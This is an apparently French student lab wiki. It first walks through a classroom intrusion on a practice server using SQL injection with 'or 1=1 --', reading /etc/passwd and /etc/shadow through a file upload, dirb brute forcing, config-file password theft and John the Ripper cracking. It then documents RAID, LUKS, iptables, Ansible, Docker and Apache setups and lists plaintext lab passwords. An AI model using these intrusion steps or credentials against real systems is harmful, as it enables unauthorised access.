Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55085</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55085"/>
				<updated>2020-12-20T15:05:00Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
